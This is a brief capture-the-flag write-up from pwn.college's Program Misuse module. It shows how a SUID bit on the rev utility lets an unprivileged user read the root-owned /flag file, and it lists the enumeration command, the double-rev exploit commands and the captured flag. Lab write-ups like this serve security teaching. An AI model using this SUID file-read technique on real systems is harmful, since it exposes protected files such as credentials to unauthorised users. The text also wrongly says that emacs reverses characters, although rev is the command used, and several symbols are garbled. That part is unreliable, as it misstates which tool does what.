Challenge Name: rev
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer
Date: 2025-07-15
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/rev, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/rev
output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/rev
-The s in -rws indicates itβs a SUID binary.
-rev runs with root privileges.
π Exploitation
The emacs command in Linux reverses the characters in each line of a file or standard input.
We can simply double reverse the /flag while storing ouptut in a variable to reveal the flag.
myflag=$(rev /flag)
echo "$myflag" | rev
Output:
pwn.college{0yrk_SqiqllhJjs5dX0aI_peczm.dJTNxwSM0IzMyEzW}